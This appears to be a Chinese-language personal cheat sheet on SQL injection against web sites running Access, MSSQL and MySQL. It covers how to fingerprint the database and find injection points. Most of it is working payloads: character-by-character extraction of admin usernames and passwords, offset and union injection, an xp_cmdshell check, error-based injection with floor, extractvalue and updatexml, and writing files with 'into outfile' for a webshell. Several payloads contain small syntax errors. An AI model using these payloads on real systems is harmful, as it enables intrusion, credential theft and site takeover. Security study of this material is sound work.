sql注入的一些笔记
据不完全统计,国内网站ASP+Access或SQLServer占70%以上,PHP+MySQL占20%。
一般asp+access组合比较多,aspx+mssql(SQL Server)组合比较多
查询关键词
查询中用到的关键词主要包含六个,并且他们的顺序依次为selcet--from--where--group by--having--order by
其中select和from是必须的,其他关键词是可选的,这六个关键词的执行顺序与sql语句的书写顺序并不是一样的,而是按照下面的顺序来执行
from--where--group by--having--select--order by
from:需要从哪个数据表检索数据
where:过滤表中数据的条件
group by:如何将上面过滤出的数据分组
having:对上面已经分组的数据进行过滤的条件
select:查看结果集中的那个列,或列的结果
from后面的表关联,是自右向左解析的,而where条件的解析顺序是自上而下的,也就是说,写SQL文的时候尽量把数据量大的表放在最右边进行关联,而把能筛选出大量数据的条件放在where语句的最下面。
常用数据库
常见的数据库有Oracle、MySQL、SQL Server、Access、MSsql、mongodb等
关系型数据库通过外键关联来建立表与表之间的关系,非关系数据库通常指数据以对象的形式存储在数据库中,而对象之间的关系通过每个对象自身的属性来决定。
len()和length()
在mssql和mysql以及db2内,返回长度值调用len()函数;在oracle和INFORMIX则是通过length()来返回长度值。
当你使用and len('a')=1的时候,返回正常页面时,可以推断当前数据库类型可能是mssql,或mysql或是db2,反之可能会是orcale和informix.(这里有代继续考究)
@@version和version()
在mysql内,可以用@@version或是version()来返回当前的版本信息。但是无法判断mysql还是mssql时,可以用version()函数来构造判断。
version()>1返回与@@version>1相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql。
substring()和substr()
在mssql中可以调用substring()。oracle则只可以调用substr()。
length() lengthb() char_length()
1、Oracle: length(): 表示字符串长度 lengthb():表示字符串的字节长度
2、mysql: length():返回字符串所占的字节数 char_length():返回字符串的字符数
数据库判断
(1)注释符判断
–-是 Oracle 和 MSSQL 支持的注释符,如果返回正常,则说明为是这两种数据库类型之一
;是子句查询标识符,Oracle 不支持多行查询,因此如果返回错误,则说明很可能是 Oracle
(2)函数判断
注意:Access只有一个数据库,直接猜解表名即可
and ( select count(*) from sys.usr_tables) > 0 oracle数据库
and (select count(*) from msysobjects) > 0 -返回权限不足为access数据库
and (select count(*)from MSysAccessObjects)>0 返回正确为access 数据库
and (select count(*)from sysobjects)>0 返回正常说明是 mssql 数据库
and length(user())>10 返回正常说明是 Mysql
Oracle 可以根据 from dual 虚拟库判断
对了,判断注入点忘记说了
数字型:id=2-1
字符型: ’ 、’)、 '))、 "、 ")、 "))
注释符:-- (这是–空格)、–+、/**/、#
通过观察页面是否正常,判断页面是否存在注入点
如 id=21’ and 1=1 %23 页面正常
id=21’ and 1=2 %23 页面返回无数据
MySQL 与 MSSQL 及 ACCESS 之间的区别
(1)MySQL5.0 以下没有 information_schema 这个默认数据库
(2)ACCESS 没有库名,只有表和字段,并且注入时,后面必须跟表名,因此只能爆表,ACCESS
举例:select 1,2,3 from table_name
union select 1,2,3 from table_name
(3)MySQL 使用 limit 排序,ACCESS 使用 TOP 排序(TOP 在 MSSQL 也可使用)
各数据库标志性信息
sql server: select @@version --
Oracle : select banner from v$version
mysql :select @@version, version() --
length(user)>0正常
postgresql: select version() --
各数据库特有的函数:
sql server: @@pack_received @@rowcount
mysql: connection_id() last_insert_id() row_count()
oracle: bitand(1,1)
postgresql: select extract( dow from row())
对于字符串处理方式:
sql server: id=1 and 'a'+'b'='ab' --
mssql: id=1 and 'a' + 'b' = 'ab'
mysql: id= 1 and 'a'+'b'='ab' ,'ab'=concat('a' , 'b')
oracle: id=1 and 'a'+'b' = 'a' || 'b' , 'ab'=concat('a' , 'b')
postgresql: id=1 and 'a' + 'b' = 'a' || 'b', 'ab' = concat('a' , 'b')
特殊符号,注释的判断
1、"null" 和 "%00" 是Access支持的注释
2、";" 是子句查询标识符,在Oracle中不支持多行查询,返回错误,很可能是Oracle数据库。
(SQL Server) MSsql服务、端口、后缀
端口:1433
后缀:cracer.mdf
日志文件后缀:cracer_log.ldf
mssql数据库权限
sa权限:数据库操作,文件管理,命令执行,注册表读取等system
db权限:文件管理,数据库操作等users-administrators
public权限:数据库操作guest-users
SQL Server有一些系统变量,如果服务器IIS提示没关闭,并且SQL Server返回错误提示的话,那可以直接从出错信息的获取,方法如下:
?id=49 and user>0
这句语句很简单,但却包含了SQL Server特有注入方法的精髓,我自己也是在一次无意的测试中发现这种效率极高的猜解方法。先看看含义,前面语句正常,重点在and user>0, user是SQL Server的一个内置变量,它的值是当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQL Server的出错提示是:将nvarchar值"abc"转换数据类型为int的列时发生语法错误,abc正是变量user的值,这样,就拿到了数据库的用户名。
常用测试语句:
and exists(select* from sysobjects) //判断数据库是否为SQLServer
and exists(select * from tableName) //判断某表是否存在..tableName为表名
and 1=(select @@VERSION) //SQLServer版本
and 1=(select db_name()) //当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员
and 1=(select IS_MEMBER('db_owner')) //判断是否是库权限
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
and 1=(select count(*) from master.dbo.sysobjects where xtype ='X' and name='xp_cmdshell') //判断XP_CMDSHELL是否存在
注入的分类
内联注入
布尔注入
报错注入
延时注入
堆叠注入
常识:
Access中,中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。
SQL Server中,中文的ASCII为正数,由于UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode()返回unicode值,再用nchar函数取得对应的中文字符。
Access注入及其常见函数
猜解表名:and exists( select * from 表名)
猜解列名:and exists (select 列名 from 表名)
猜解用户名和密码长度
and ( select top 1 len(列名 ) from 表名) = X ----x代表数字,返回正确代表所猜的列名长度为这个数字
如:
判断用户名长度是否大于零:and ( select top 1 len( username) from admin) > 0
猜解用户和密码的ascii码
这里应该采用截半法来提高效率。ascii码 0-126
这里假设用户为:admin 密码为:admin888,猜出来的ascii码用转换工具转换下就可以得出明文
and ( select top 1 asc( mid( username,1,1)) from admin) > 97
and ( select top 1 asc( mid( username,1,1)) from admin) = 97
and ( select top 1 asc( mid( username,2,1)) from admin) = 100
and ( select top 1 asc( mid( username,3,1)) from admin) = 109
and ( select top 1 asc( mid( username,4,1)) from admin) = 105
偏移注入
利用 “* ”代替admin表内存在的字段
1、假设order by 判断字段为18
2、union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from admin
3、当成功时说明admin下为15个字段,一直到返回列名(不一定成功)
?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,* from admin ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin ?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,* from admin
偏移注入的基本公式为:
order by 出的字段数减去*号字段数,然后再用order by的字段数减去2倍刚才得出的答案
也就是 18-15 = 3
18 - 3*2 = 12
最后注入
asp?id=688 union select 1,2,3,4,5,6,7,8,9,10,11,12,a.id,b.id,* from ( admin as a inner join admin as b on a.id = b.id)
跨库查询(需要知道另一个数据库绝对路径和表名、字段名)
?id = 1 union select 1,2,3,password,5,6 from [另一个数据库的绝对路径].需要查询的表
Mysql注入
mysql数据库在渗透过程中能够使用的功能还是比较多的,除了读取数据之外,还可以进行对文件进行读写(前提是权限足够)。
读取前提:
1.用户权限足够高,尽量具有root权限。
2.secure_file_priv不为NULL。
3.获取web目录的物理路径。
Mysql用secure_file_priv这个配置项来完成对数据导入导出的限制。如果secure_file_priv=NULL,Mysql服务会禁止导入和导出操作。通过命令查看secure_file_priv的当前值,确认是否允许导入导出以及导出文件路径。
show variables like '%secure_file_priv';
MySQL中root用户拥有所有权限,但写入webshell并不需要一定是root用户权限,比如数据库用户只要拥有file权限就可以执行select into outfile操作。
当secure_file_priv文件导出路径与web目录路径重叠,写入webshell才可以被访问到。
文件注入
?id=0 union select 1,'test',3,4,5 into outfile 'c:\\111.txt' # 向系统写入文件
?id=0 union select 1,load_file('c:\\ 111.txt'),3,4,5 #回显内容 证明写入成功
盲注
and (select length(database())) > 4 #判断数据库名称长度
and (select ascii(substr (database(),1,1))) >119 #判断当前数据库第一个字母是什么
报错注入
and select 1 from ( select count(*), concat(version(),floor(rand(0)*2))) x from information_schema.tables group by x) a ) 通过floor 报错
or 1 group by concat_ws(0x7e,version() , floor( rand ( 0*2 )) having min(0) or 1 #通过floor报错
and extractvalue( 1, concat( 0x5c, (select version ()))) #利用extractvalue函数报错(长度有限制,最长32位)
and 1 = (updatexml(1,concat(0x23,(select version())),1)) #利用updatexml函数报错(长度有限制,最长32位)